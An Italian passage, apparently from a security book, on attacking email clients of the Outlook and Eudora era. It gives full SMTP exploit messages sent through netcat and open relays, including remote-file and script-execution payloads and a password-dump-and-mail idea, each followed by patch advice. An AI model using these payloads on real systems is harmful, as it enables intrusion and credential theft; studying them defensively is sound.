Ovviamente l'unico modo per essere certi della legittimità del certificato di un sito è verificare manualmente il certificato presentato al browser. In Netscape o IE è sufficiente fare clic sulla piccola icona del lucchetto nella parte inferiore del browser per svolgere questa funzione; potete anche arrivare a queste informazioni facendo clic sul pulsante *Security* della barra degli strumenti di Netscape, mentre in IE potete fare clic sull'icona del lucchetto oppure selezionare *File/Proprietà* mentre visitate una pagina protetta da SSL, per visualizzare le informazioni sul certificato. La Figura 16.6 mostra la visualizzazione del certificato di un sito Web molto noto in IE.

Figura 16.6

Il certificato SSL di un server in IE. Assicuratevi che questa informazione sia come ve l'aspettate, quando visitate i server SSL-ized.

Ci sono due impostazioni in IE che aiutano gli utenti a verificare automaticamente se il certificato SSL di un server è stato revocato: *Verifica revoca dei certificati del server* e *Verifica revoca dei certificati dell'autore* e si trovano in *Strumenti/Opzioni Internet/Avanzate/Protezione*.

Hacking della posta elettronica

La maggior parte degli utenti identifica Internet con la sua interfaccia più appariscente, il World Wide Web. È vero però che il volume di messaggi di posta elettronica inviati su Internet ogni giorno, probabilmente, è molto superiore alla quantità di traffico Web. La posta elettronica è pertanto la via più efficace per penetrare nello spazio informatico dell'utente di Internet. È l'intersezione di questi due diffusissimi protocolli Internet, HTTP e SMTP, a far aumentare in modo incredibile il potenziale di pericolo: i messaggi di posta elettronica in formato HTML sono efficaci vettori di molti degli attacchi ai browser che abbiamo analizzato finora, forse in misura ancora maggiore. È sufficiente aggiungere una buona dose di tecnologie di codice mobile incorporate nei messaggi di posta elettronica per rendere quasi un gioco da ragazzi l'inganno ai danni degli utenti Internet più ingenui.

Sebbene in questo paragrafo parliamo quasi esclusivamente di posta elettronica, è chiaro che queste tecniche si applicano anche ai messaggi inviati ai newsgroup di Internet. Anzi, tali tattiche possono produrre un danno ancora più diffuso rispetto agli attacchi spam che si servono di queste tecniche.

Mail hacking 101

Prima di entrare nell'analisi degli attacchi specifici, può essere utile vedere come viene inviato un generico messaggio di posta elettronica nocivo. È effettivamente più difficile di quanto possiate immaginare, perché la maggior parte dei client di posta elettronica moderni con interfaccia grafica non permette una manipolazione diretta del blocco di intestazione del messaggio SMTP (*Simple Mail Transfer Protocol*). Ironia della sorte, con tutte le critiche che Microsoft riceve in relazione alla vulnerabilità dei suoi prodotti a tali problemi dal punto di vista del ricevente, è estremamente difficile inviare messaggi con codice HTML manomesso a scopi malvagi con programmi come Outlook e OE (*Outlook Express*). Ovviamente invece gli utenti UNIX possono utilizzare i tradizionali client di posta elettronica a riga di comando per eseguire questa manipolazione.

In ambiente Windows il nostro meccanismo preferito consiste nell'inviare manualmente un messaggio direttamente a un server SMTP attraverso il prompt dei comandi: il modo migliore per effettuare questa operazione è reindirizzare un file di testo contenente i comandi SMTP e i dati appropriati attraverso `netcat`. Ecco come procedere. Per prima cosa scrivete i comandi SMTP e il messaggio desiderati in un file e chiamatelo `malicious.txt`: è importante dichiarare la corretta sintassi MIME (*Multi-Part Internet Mail Extension*), in modo che il messaggio riceva la corretta formattazione; in genere questi messaggi vengono inviati in HTML in modo che il corpo del messaggio stesso diventi parte del pacchetto dati maligno. La sintassi che dev'essere assolutamente corretta è quella delle tre righe che iniziano con "MIME-Version: 1.0", come mostrato di seguito:

```
helo
mail from: <mallory@malweary.com>
```

```
rcpt to: <hapless@victim.net>
data
subject: Read this!
Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
<HTML>
<h2>Hello World!</h2>
</HTML>
.
quit
```

Poi digitate questo file sulla riga di comando e reindirizzate l'output attraverso `netcat`, che dovrebbe essere puntato verso la porta 25 SMTP di un mail server appropriato, come in questo esempio:

```
type malicious.txt ¦ nc -vv mail.openrelay.net 25
```

È superfluo sottolineare che un hacker molto probabilmente sceglierà un mail server oscuro che offre la ritrasmissione senza limitazioni dei messaggi SMTP e si impegnerà per mascherare il proprio indirizzo IP di origine in modo da non essere rintracciabile attraverso i log del mail server.

Tali "ripetitori SMTP aperti" sono spesso oggetto di abuso da parte di chi si dedica alla pratica dello spam e possono essere facilmente scoperti sui newsgroup Usenet o di tanto in tanto sul sito `http://mail-abuse.org`.

Le cose si complicano un po' se desiderate anche inviare un allegato con il messaggio HTML, poiché dovete aggiungere un'altra parte MIME al messaggio e codificare l'allegato in formato Base64, secondo quanto indicato nella specifica MIME (RFC 2045-49). L'utility migliore per eseguire automaticamente questa operazione è mpack di John G. Myers, disponibile all'indirizzo `http://www.21st-century.net/Pub/Utilities/Archivers`, che aggiunge le intestazioni MIME appropriate in modo che l'output possa essere inviato direttamente a un server SMTP. Ecco un esempio di codifica con `mpack` di un file chiamato `plant.txt` che fornisce come output un file `plant.mim`; l'argomento `-s` specifica la riga di oggetto del messaggio ed è facoltativo:

```
mpack -s Nasty-gram -o plant.mim plant.txt
```

E ora ecco la parte complessa. Questa parte MIME dev'essere inserita nel nostro messaggio in formato HTML. A tal fine utilizzeremo l'esempio precedente, malicious.txt e divideremo il messaggio ricorrendo ai confini MIME personalizzati definiti nelle righe "Content-type". I confini MIME sono preceduti da doppi trattini e il confine di chiusura presenta i doppi trattini anche come suffisso. Osservate anche l'annidamento di una parte MIME "multipart/alternative" (boundary2) che permette ai destinatari che utilizzano Outlook di decodificare correttamente il corpo del nostro messaggio HTML. Prestate attenzione alla collocazione delle interruzioni di riga, in quanto MIME può essere interpretato in modo piuttosto diverso in relazione alla posizione di queste ultime. Osservate infine che la priorità di questo messaggio (*Importance*) è stata impostata su *Alta*, un altro elemento della finestra concepito per adescare la vittima:

```
helo somedomain.com
mail from: <mallory@malweary.com>
rcpt to: <hapless@victim.net>
```

```
data
subject: Read this!
Importance: high
MIME-Version: 1.0
Content-Type: multipart/mixed;
              boundary="_boundary1_"

--_boundary1_
Content-Type: multipart/alternative;
              boundary="_boundary2_"

--_boundary2_
Content-Type: text/html; charset=us-ascii

<HTML>
<h2>Hello World!</h2>
</HTML>

--_boundary2_--

--_boundary1_
Content-Type: application/octet-stream; name="plant.txt"
Content-ID: <5551212>
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="plant.txt"
Content-MD5: Psn+mcJEv0fPwoEc4OXYTA==

SSBjb3VsZGEgaGFja2VkIHlhIGJhZCANCg==

--_boundary1_--
.
quit
```

Reindirizzando tutto ciò attraverso `netcat` a un server SMTP aperto, invierete un messaggio con formattazione HTML, con il file `plant.txt` come allegato, a hapless@victim.net. Per avere una migliore comprensione dei confini MIME nei messaggi multiparte, fate riferimento alla RFC 2046 Section 5.1.1 all'indirizzo `www.ietf.org/rfc/rfc2046.txt`. Potrebbe anche essere utile esaminare un messaggio di prova inviato a Outlook Express. Fate clic su *Proprietà/Dettagli/Messaggio originale* per visualizzare i dati grezzi (Outlook non permette di vedere tutti i dati grezzi SMTP).

In tutto il capitolo faremo riferimento a questo metodo con il termine "capsula di mail hacking". Ora invece applicheremo questa tecnica generale ad alcuni attacchi specifici realmente verificatisi per dimostrare il livello di rischio rappresentato dai messaggi di posta elettronica concepiti per danneggiare i destinatari.

Contromisure generiche all'hacking della posta elettronica

Ovviamente, la soluzione migliore sarebbe disabilitare il rendering dei messaggi HTML nel software client: sfortunatamente però questa operazione è difficile o impossibile con la maggior parte dei client di posta elettronica odierni. Le "caratteristiche" Web aggiuntive che devono però essere disabilitate a ogni costo sono le tecnologie legate al codice attivo. Abbiamo già descritto in precedenza come agire in tal senso nel paragrafo dedicato alle aree di protezione, tuttavia ripeteremo le istru-

zioni anche in questo, in modo che non vi siano dubbi. Per Microsoft Outlook e Outlook Express, impostate l'area di protezione su *Area siti con restrizioni* in *Strumenti/Opzioni/Protezione*, come mostrato nella Figura 16.2 (ricordatevi che queste impostazioni non si applicano alla navigazione con IE, che utilizza le proprie). Questa singola impostazione affronta la maggior parte dei problemi identificati di seguito ed è caldamente consigliata. Ovviamente è fondamentale una gestione sicura degli allegati. Il primo istinto della maggior parte degli utenti è incolpare il produttore del software per problemi come quello del virus ILOVEYOU (analizzato nel proseguo del capitolo), ma la realtà è che quasi tutti gli incidenti e le infezioni originate dalla posta elettronica richiedono una certa complicità da parte dell'utente.
La patch di Outlook che risulta disponibile all'indirizzo `http://office.microsoft.com/downloads/2000/Out2ksec.aspx` rende ancora più difficile agli utenti la possibilità di avviare automaticamente gli allegati, costringendoli a fare clic su almeno due finestre di dialogo prima di eseguire un file allegato (tra l'altro occorre sottolineare anche che essa imposta l'area di protezione su *Siti con restrizioni*). Non è a prova di errore (o di utente maldestro), come vedremo tra breve, tuttavia riduce notevolmente la possibilità di cadere vittime di possibili aggressioni.
Questo comunque non deve esimere dall'utilizzo del buonsenso: non aprite i messaggi e non scaricate gli allegati se non conoscete il mittente!

Esecuzione di codice arbitrario tramite posta elettronica

Gli attacchi esaminati di seguito dimostrano l'esistenza di molti meccanismi diversi per l'esecuzione di comandi sul computer della vittima: molti di essi vengono attivati semplicemente con l'apertura del messaggio o con la sua visualizzazione nella finestra di anteprima di Outlook/Outlook Express.

Attacchi via posta elettronica che sfruttano il flag "safe for scripting"

Diffusione:	*5*
Semplicità:	*6*
Impatto:	*10*
Fattore di rischio:	*7*

Non esistono attacchi più letali di questo: la vittima non deve far altro che leggere il messaggio (o visualizzarlo nel riquadro di anteprima se Outlook/OE è configurato in tal senso). Non è necessario alcun intervento da parte dell'utente. Questa tremenda pericolosità deriva ancora una volta dal controllo ActiveX Scriptlet.typelib che è contrassegnato come sicuro "safe for scripting", come abbiamo visto in precedenza nel paragrafo su ActiveX.
Anche Eyedog.ocx potrebbe essere utilizzato con la stessa semplicità, tuttavia questo specifico attacco si basa sull'ottimo codice di Georgi Guninski che si serve di Scriptlet.typelib, pubblicato all'indirizzo `http://www.guninski.com/scrtlb-desc.html`. Ecco una versione leggermente modificata del suo codice incollata in una capsula di mail hacking:

```
helo somedomain.com
mail from: <mallory@malweary.com>
```

```
rcpt to: <hapless@victim.net>
data
subject: Ya gotta read this!
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
If you have received this message in error, please delete it.
<object id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC">
</object>
<SCRIPT>
scr.Reset();
scr.Path="C:\\WIN98\\start menu\\programs\\startup\\guninski.hta";
scr.Doc="<object id'wsh' classid='clsid:F935DC22-1CF0-11D0-ADB9-
00C04FD58A0B'></object><SCRIPT>alert(' written by Georgi Guninski
http://www.guninski.com');wsh.run('c:\\WIN98\\command.com');</"+"SCRIPT>";
scr.write();
</SCRIPT>
</object>
.
quit
```

Questo codice esegue un attacco che si svolge in due fasi. Innanzitutto crea un file HTML Application (con estensione .HTA) nella cartella *Esecuzione automatica (Startup)* dell'utente e scrive il pacchetto dati dello script al suo interno. La creazione del file avviene silenziosamente e in modo quasi invisibile agli utenti non appena essi visualizzano l'anteprima del messaggio; l'unica cosa che potrebbero notare è una breve accensione della luce di attività del disco, occorre però guardare molto attentamente. La figura seguente mostra come appare il nostro messaggio nella casella della posta in arrivo dell'utente di Outlook Express: è tutto quanto deve accadere perché l'attacco possa essere portato a termine.

La seconda fase dell'attacco si verifica quando l'utente inevitabilmente riavvia il computer (ovviamente anche lo script stesso potrebbe riavviare il computer). Il file .HTA viene eseguito all'avvio (i file .HTA vengono interpretati automaticamente dalla shell di Windows). Nell'esempio mostrato nella figura seguente l'utente viene accolto dal seguente messaggio pop-up.

Microsoft Internet Explorer

Written by Georgi Guninski http://www.nat.bg/~joro

OK

Questa è un'azione abbastanza innocua, ma la gamma di possibilità è praticamente illimitata: in questo frangente la vittima è completamente in balia dell'hacker.
Il cosiddetto worm KAK non è altro che un attacco che sfrutta la vulnerabilità di Scriptlet e anch'esso può essere impiegato per aggredire gli utenti incauti e privi della necessaria patch di Outlook/OE. Per maggiori informazioni su KAK, consultate la pagina `http://www.symantec.com/avcenter/venc/data/wscript.kakworm.html`.

Contromisure per il flag "safe for scripting"

Procuratevi la patch per i componenti ActiveX Scriptlet/Eyedog, disponibile all'indirizzo `http://www.microsoft.com/technet/security/bulletin/ms99-032.asp`.
Ancora una volta è importante osservare che essa corregge soltanto il problema di Scriptlet ed Eyedog. Per essere veramente protetti, disabilitate ActiveX per i mail reader, come abbiamo visto in precedenza nel paragrafo dedicato alle aree di protezione.

Esecuzione di documenti MS Office mediante ActiveX

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*7*

Georgi Guninski non si è fermato lì quando ha sfruttato i tag ActiveX incorporati nei messaggi di posta elettronica in formato HTML per caricare controlli ActiveX potenzialmente pericolosi. Le successive segnalazioni pubblicate sul suo sito mettevano in luce la possibilità di sfruttare la stessa tecnica anche per avviare documenti Microsoft Office potenzialmente pericolosi (i documenti Office si comportano in modo molto simile ai controlli ActiveX stessi). Queste scoperte sono illustrate alle pagine `http://www.guninski.com/sheetex-desc.html` (per i documenti Excel e PowerPoint) e `http://www.guninski.com/access-desc.html` (che tratta l'avvio del codice VBA, *Visual Basic for Applications*, all'interno di database Access).
In questo paragrafo prenderemo in esame la seconda di queste vulnerabilità per due motivi: innanzitutto il problema di Excel/PowerPoint è in realtà più interessante per la sua capacità di scrivere file su disco in modo surrettizio, che verrà analizzata in uno dei prossimi paragrafi; in secondo luogo, la vulnerabilità relativa ad Access è

più grave nell'opinione di molti esperti di sicurezza perché aggira qualunque meccanismo di protezione applicato ad ActiveX dall'utente. Anche se le funzioni ActiveX sono completamente disabilitate, siete quindi sempre vulnerabili. La gravità di questo problema è stata giudicata talmente elevata dal SANS Institute da essere definita "probabilmente l'errore di programmazione più grave per le workstation Windows (tutte le varietà, 95, 98, 2000, NT 4.0) che Microsoft abbia mai commesso" (`http://www.sans.org/newlook/resources/win_flaw.htm`). L'aspetto negativo è che questo apparente sensazionalismo potrebbe essere in linea con gli obiettivi.
Il problema è legato ai controlli effettuati da Windows quando il file di Access (.MDB) viene caricato all'interno di IE da un tag `OBJECT`, come mostrato nel frammento di codice HTML proposto da Georgi Guninski:

```
<OBJECT data="db3.mdb" id="d1"></OBJECT>
```

Non appena IE incontra il tag `OBJECT`, scarica il database di Access specificato nel parametro `data=`, poi chiama Access per aprirlo. Ciò avviene prima di avvisare l'utente del potenziale pericolo legato all'esecuzione del database, pertanto questo si avvia indipendentemente in base a come IE/Outlook/OE è stato configurato per l'esecuzione dei controlli ActiveX.
L'atacco di Georgi si affida a un file remoto ospitato sul suo sito Web e chiamato `db3.mdb`, un database Access che contiene un singolo modulo che avvia Wordpad. Ecco un'altra capsula di mail hacking che dimostra come sia possibile portare a termine in pratica questo attacco:

```
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: And another thing!
Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii

<HTML>
<h2>Enticing message here!</h2>
<OBJECT data="http://www.guninski.com/db3.mdb" id="d1"></OBJECT>
</HTML>

.
quit
```

In questo esempio abbiamo fornito il riferimento esplicito all'URL specifico del file `db3.mdb` di Georgi in modo che possa funzionare se inviato per posta elettronica (si veda la riga nel listato precedente che contiene l'URL `http://www.guninski.com/db3.mdb`). SANS sostiene di aver utilizzato una condivisione SMB su Internet per ottenete il file di Access. Siamo sbalorditi: quanti server FTP conoscete che permettono l'esecuzione di comandi put e get senza sorveglianza? Di seguito analizzeremo altri punti di appoggio che potrebbero essere utilizzati dagli hacker per sferrare questo genere di attacchi.
Il punto fondamentale è che con il semplice rendering di questo tag, Internet Explorer/Outlook/Outlook Express scaricano e avviano un file contenente una potente macro VBA senza bisogno di alcun input da parte dell'utente. C'è qualcuno che non è spaventato da tutto questo?

Contromisura: definizione di una password amministrativa di accesso

La disabilitazione di ActiveX non arresta questo exploit di Access, pertanto è necessario applicare la patch in base alle istruzioni pubblicate alla pagina `http://www.microsoft.com/technet/security/bulletin/MS00-049.asp`. Desideriamo attirare particolare attenzione sulla patch specifica per il problema relativo ad Access (Microsoft la chiama vulnerabilità "IE Script"), che è disponibile all'indirizzo `http://www.microsoft.com/windows/ie/downloads/critical/patch11/default.asp`. Microsoft consiglia anche una soluzione che è opportuno adottare anche nel caso in cui sia stata applicata la patch, che consiste nell'impostare una password Amministratore per Access (che di default è vuota), come spiegato di seguito.

1. Avviate Access 2000 ma non aprite alcun database.
2. Scegliete *Strumenti/Protezione*.
3. Selezionate *Account utenti e gruppi*.
4. Selezionate l'utente *Amministratore*, che dovrebbe essere definito di default.
5. Passate alla scheda *Cambia password di accesso*.
6. La password di *Amministratore* dovrebbe essere vuota se non è mai stata cambiata.
7. Assegnate una password all'utente *Amministratore*.
8. Fate clic su *OK* per uscire dal menu.

Questo dovrebbe impedire l'esecuzione di codice VBA maligno con privilegi completi. SANS osserva anche che il blocco della condivisione di file di Windows in uscita a livello del firewall (porte TCP 139 e TCP 445) ridurrà la possibilità che gli utenti vengano ingannati e indotti ad avviare il codice remoto.

Esecuzione di file con un parametro CLSID ActiveX diverso da zero

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*10*
Fattore di rischio:	*7*

Alla base di questa vulnerabilità c'è un commento quasi sbrigativo in un thread della mailing list Bugtraq (`http://www.securityfocus.com/`) relativo alla vulnerabilità dell'introduzione forzata di file descritta su malware.com con il termine "force feeding" (ne parliamo in seguito). Weld Pond, uno straordinario hacker del noto gruppo L0pht e famoso per `netcat` NT (Capitolo 5), è intervenuto per conto del suo collega DilDog, del gruppo Cult of the Dead Cow, gli ideatori di Back Orifice 2000 (Capitoli 4 e 14), per fornire un meccanismo per l'esecuzione di file introdotti forzatamente nei computer degli utenti tramite la tecnica descritta al sito malware.com. Configurando un tag `OBJECT` ActiveX con un parametro `CLSID` diverso da zero nel corpo di un messaggio di posta elettronica maligno, qualunque file su disco può essere eseguito: questa spaventosa possibilità trasforma in un potenziale bersaglio

qualunque eseguibile sul disco dell'utente. Ecco un esempio di capsula di mail hacking:

```
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
subject: Read this!
Importance: high
MIME-Version: 1.0
Content-Type: text/html; charset=us-ascii

<HTML>
<HEAD>
</HEAD>
<BODY>
<OBJECT CLASSID='CLSID:10000000-0000-0000-0000-000000000000'
CODEBASE='c:\windows\calc.exe'></OBJECT>
</BODY></HTML>

.
quit
```

Osservate il parametro `CLSID` diverso da zero: è l'elemento che consente il funzionamento dell'attacco. Il file da eseguire è semplicemente elencato nel parametro `CODEBASE`.
Nel nostro test ci siamo però accorti che per il funzionamento del meccanismo è necessario che diversi elementi abbiano caratteristiche ben definite. Per prima cosa con Outlook Express 5.00.2615.200 abbiamo dovuto impostare l'area di protezione su *Bassa*, e anche così ci appariva una finestra di dialogo che chiedeva di confermare l'esecuzione di un controllo non certificato quando cercavamo di avviare calc.exe nella cartella *System*. Gli utenti dovrebbero essere piuttosto sprovveduti per cadere in questo trabocchetto, tuttavia è un inizio interessante, in particolare se lo si considera assieme alla capacità di scrivere file su disco descritta da malware.com.

Contromisure all'uso del parametro CODEBASE diverso da zero

In base al nostro test, per risolvere questo problema è sufficiente impostare le aree di protezione al livello appropriato (si veda paragrafo relativo alle aree di protezione).

Buffer overflow del campo della data di Outlook/OE

Diffusione:	*7*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*9*

Sembra proprio che ActiveX costituisca il cuore della maggior parte di questi attacchi. Ebbene, in un messaggio del 18 luglio 2000 venne annunciato un diverso tipo di vulnerabilità di Outlook/OE che non ha nulla a che vedere con ActiveX.

Si trattava di un classico problema di buffer overflow causato riempiendo la sezione GMT del campo della data nell'intestazione di un messaggio di posta elettronica con una quantità imprevedibilmente elevata di dati. Quando un messaggio di questo tipo viene scaricato tramite POP3 o IMAP4, il file INCETCOMM.DLL responsabile dell'analisi del token GMT non esegue un adeguato controllo dei limiti, provocando il crash di Outlook/OE e rendendo possibile l'esecuzione di codice arbitrario. Ecco un esempio del codice di attacco basato su quello segnalato su Bugtraq:

```
Date: Tue, 18 July 2000 14:16:06 +<circa 1000 byte>
<codice assembly da eseguire>
```

Come abbiamo spiegato diverse volte in questo libro, una volta ottenuta la possibilità di eseguire comandi arbitrari, il gioco è fatto: un messaggio "infido" potrebbe silenziosamente installare trojan, diffondere worm, compromettere il sistema target, avviare un allegato, insomma praticamente eseguire qualunque operazione.
Gli utenti di OE dovrebbero semplicemente aprire una cartella contenente un messaggio maligno per diventare vulnerabili: in genere il semplice atto di scaricare tale messaggio durante un controllo della posta provoca il crash/overflow. A questo punto gli utenti di OE sono come a un punto morto, perché non riescono in nessun modo a scaricare il messaggio e l'attacco provocherà il crash del programma a ogni successivo tentativo di recuperare la posta. Una soluzione per aggirare il problema potrebbe essere utilizzare un client di posta elettronica diverso da Outlook/OE per recuperare i messaggi e cancellare quello incriminato (supponendo che riusciate a capire di quale si tratta). Netscape Messenger fa un ottimo lavoro a questo riguardo, visualizzando il campo della data nel riquadro di anteprima in modo da indicare quali sono i messaggi manomessi. Gli utenti di Outlook sono vulnerabili se visualizzano in anteprima, leggono, rispondono o inoltrano un messaggio maligno di questo tipo.
Inizialmente il codice dell'attacco venne inviato su Bugtraq, ma in seguito si scoprì che questo esempio era stato elaborato su misura per funzionare ai danni di un server di una LAN privata, e che pertanto non avrebbe funzionato se inviato tramite posta elettronica a utenti connessi a Internet. Sembra che l'invio sia stato effettuato erroneamente da Aaron Drew, che a quanto pare stava tentando di utilizzare una tecnica simile alla capsula di mail hacking che abbiamo delineato in questo capitolo e invece senza volere inviò un messaggio a Bugtraq. Per la cronaca, un messaggio di questo tipo assomiglierebbe più o meno al seguente; osservate, infatti, la riga `Date` in cui è da notare che l'overflow è stato omesso per brevità e indicato tramite parentesi quadre (che non sono necessarie nell'attacco vero e proprio):

```
helo somedomain.com
mail from: <mallory@attack.net>
rcpt to: <hapless@victim.net>
data
Date: Sun, 7 May 2000 11:20:46 +[~1000bytes + exploit code in hex or
ascii]
Subject: Date overflow!
Importance: high
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

This is a test of the Outlook/OE date field overflow.
.
quit
```

Anche Underground USSR (*Security Systems Research*) all'indirizzo `http://www.ussrback.com` pretende un riconoscimento per la scoperta di questo difetto (o almeno per averne sentito parlare da un hacker di nome Metatron), sostenendo di aver atteso che Microsoft avesse preparato una patch prima di renderlo pubblico. USSR pubblicò il proprio exploit, che apre una connessione al proprio sito Web e che può essere eseguito nello stesso modo illustrato in precedenza.

Contromisure all'overflow del campo della data

In base al bollettino pubblicato da Microsoft all'indirizzo `http://www.microsoft.com/technet/security/bulletin/MS00-043.asp`, questa vulnerabilità può essere corretta installando l'aggiornamento disponibile sul sito `http://www.microsoft.com/windows/ie/downloads/critical/patch9/default.asp`, oppure può essere eliminata tramite un'installazione predefinita di uno dei seguenti aggiornamenti:

- Internet Explorer 5.01 Service Pack 1;
- Internet Explorer 5.5 su qualunque sistema tranne Windows 2000.

Gli utenti di Windows 2000 devono tornare alla 5.01, applicare la patch e poi aggiornare il software alla versione 5.5. SFP (*System File Protection*) di Windows impedisce l'aggiornamento di wab32.dll nel patch IE 5.5 su Win2K.
Anche un'installazione non predefinita di questi aggiornamenti permette di eliminare questa vulnerabilità, a patto di scegliere un metodo di installazione che includa i componenti aggiornati di Outlook Express (nel corso della procedura l'utente dovrebbe ricevere un messaggio che chiede se desidera installare questi componenti).

Quando viene installato su un computer Windows 2000, IE 5.5 non installa i componenti aggiornati di Outlook Express e pertanto non elimina la vulnerabilità.

Osservate anche che Microsoft ha affermato che gli utenti di Outlook che hanno configurato il programma per utilizzare solo i servizi MAPI non saranno interessati al problema, indipendentemente dalla versione di Internet Explorer installata. Il file INETCOMM.DLL non è utilizzato quando i servizi di posta elettronica Internet non sono installati in *Strumenti/Servizi*.

Esecuzione MIME: Nimda

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*8*

Il famoso analista della sicurezza IE, Juan Carlos García Cuartango, ha rinvenuto questo problema, che influenza una combinazione tra uno strano comportamento di un allegato e-mail e il tag HTML del sempre versatile IFRAME. Un modo simile di utilizzare IFRAME per eseguire allegati di posta elettronica tramite il loro Content-ID MIME è stato dimostrato da Georgi Guninski nel suo consultivo #9 del 2000, discusso in precedenza. Il contributo di Juan Carlos è stato la scoperta che tipi di file eseguibili possono essere eseguiti automaticamente dentro messaggi e-mail IE o HTML se sono erroneamente etichettati come il tipo MIME sbagliato; inoltre questa definizione sbagliata elude i filtri mail.

Questa vulnerabilità è stata sfruttata per la costruzione di una parte del codice del worm Nimda. Per ulteriori informazioni, visitate l'indirizzo `http://securityresponse.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html`.

Juan Carlos fornisce tre esempi di questa tecnica nel suo sito Web `http://www.kriptopolis.com`. Qui c'è una variazione che maschera un file batch chiamato `hello.bat` come fosse un file audio. Abbiamo modificato il codice di Juan Carlos per metterlo dentro una sintesi adeguata di haking mail per inviarlo a un server SMTP:

```
helo somedomain.com
mail from: mallory@attacker.com
rcpt to: hapless@victim.net
data
Subject: Is Your Outlook Configured Securely?
Date: Thu, 2 Nov 2000 13:27:33 +0100
MIME-Version: 1.0
Content-Type: multipart/related;
      type="multipart/alternative";
      boundary="1"
X-Priority: 3
X-MSMail-Priority: High
X-Unsent: 1

--1
Content-Type: multipart/alternative;
      boundary="2"

--2
Content-Type: text/html;
      charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<HTML>
<HEAD>
</HEAD>
<BODY bgColor=3D#ffffff>
<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>
If secure, you will get prompted for file download now. Cancel.<BR>
If not, I will now execute some commands...<BR>
</BODY>
</HTML>

--2--

--1
Content-Type: audio/x-wav;
     name="hello.bat"
Content-Transfer-Encoding: quoted-printable
Content-ID: <THE-CID>

echo OFF
dir C:\
echo YOUR SYSTEM HAS A VULNERABILITY
pause
```

```
--1

.
quit
```

Osservate il Content-ID della parte MIME con il boundary=1 del listato precedente: `<THE-CID>`. Questo Content-ID si riferisce a un `IFRAME` incluso nel corpo principale del messaggio (MIME parte 2) e tutte queste righe sono in neretto. Quando questi messaggi sono visti in anteprima con Outlook/OE, `IFRAME` viene prodotto automaticamente ed esegue la specifica parte del MIME che contiene alcuni semplici script batch che rinviano un avvertimento alla console, come mostrato nella figura seguente.

```
C:\WINNT\System32\cmd.exe

C:\Documents and Settings\Administrator>echo OFF
 Volume in drive C has no label.
 Volume Serial Number is 9498-F822

 Directory of C:\

04/17/2001  03:16a                 620 !test!
04/08/2001  05:46p      <DIR>          Documents an
04/08/2001  02:59p      <DIR>          Inetpub
04/17/2001  03:11a      <DIR>          Program File
04/17/2001  03:14a      <DIR>          test
04/16/2001  09:43p      <DIR>          WINNT
               1 File(s)            620 bytes
               5 Dir(s)  44,689,059,840 bytes free
YOUR SYSTEM HAS A VULNERABILITY
Press any key to continue . . .
```

Juan Carlos fornisce nel suo sito esempi Win32 eseguibili e VBS di questo attacco campione. La creazione di questi esempi è semplice quanto l'inserimento di codice appropriato nella parte MIME specificata da `<THE-CID>`.

Questo attacco potrebbe essere anche implementato ospitando una pagina Web nociva, in ogni caso è decisamente una vulnerabilità molto grave, poiché permette agli hacker di eseguire un codice di loro scelta sul sistema della vittima semplicemente spedendogli un e-mail.

Una payload interessante da prendere in considerazione per un attacco di questo tipo è lo strumento passdump di janker (disponibile nei principali archivi di Internet). Passdump legge dalla memoria le password dell'utente Windows registrato e le scrive in *%systemroot%\pass.txt*. L'attacco di Juan Carlos potrebbe venire impiegato per eseguire il passdump come un allegato MIME; in seguito uno degli altri attacchi di questo capitolo potrebbe leggere il file pass.txt e spedirlo via e-mail a un hacker in remoto servendosi delle tecniche come i worm della rubrica di Outlook (si veda il paragrafo seguente). Immaginate schiere di utenti Internet che inconsapevolmente inviano giorno dopo giorno le loro password…

Contromisure per l'esecuzione di contenuto MIME

La soluzione a breve termine per questo problema è ottenere la patch dal bollettino MS01-020 di Microsoft che stabilisce le modalità in cui IE gestisce certi tipi MIME inconsueti quando sono intercalati in HTML. Questo cambia il comportamento di IE, lanciando automaticamente questi tipi MIME in allegati invece di richiedere di scaricare un file. Questo punto debole è catalogato come ID 2524 Bugtraq (`http://www.securityfocus.com/bid/2524`) ed è inserito nel Service pack 2 di Win 2000.

La prevenzione a lungo termine per i problemi che riguardano l'esecuzione automatica è la configurazione di Outlook/OE per leggere e-mail nel modo più sicuro possibile. In particolare, se *File Download* è disattivato per la zona di sicurezza in cui viene letto l'e-mail, questo attacco non può verificarsi. Le zone di sicurezza IE sono state discusse precedentemente.

Vulnerabilità di Eudora dell'esecuzione di allegati nascosti

Diffusione:	*6*
Semplicità:	*8*
Impatto:	*10*
Fattore di rischio:	*8*

Nel corso di questo capitolo, abbiamo affrontato molte delle vulnerabilità dei client di Microsoft, tuttavia Microsoft non è la sola società che deve affrontare questi problemi dal lato client. Il ben noto client e-mail Eudora di Qualcomm per Windows contiene un punto debole, identificato dalle persone al malware.com, che rende possibile a un hacker di eseguire un codice arbitrario su un sistema remoto. Lo sfruttamento non richiede alcuna interazione utente oltre all'avvio di Eudora e al caricamento di e-mail, dando per scontata la seguente configurazione (sulla versione freeware di Eudora 5.0.2 eseguita su Win 9*x*, NT 4 o 2000).

- Il pannello di anteprima è abilitato, ma se non lo fosse un utente deve aprire il messaggio di mail per far sì che il codice si esegua.
- L'opzione *Use Viewer* di Microsoft è abilitata in *Strumenti/Opzioni/Visualizzare Mail*. La prima di queste opzioni è abilitata di default (contrariamente a ogni precedente comunicazione, l'opzione *Allow Executables In HTML Content* non deve essere abilitata per essere sfruttata).

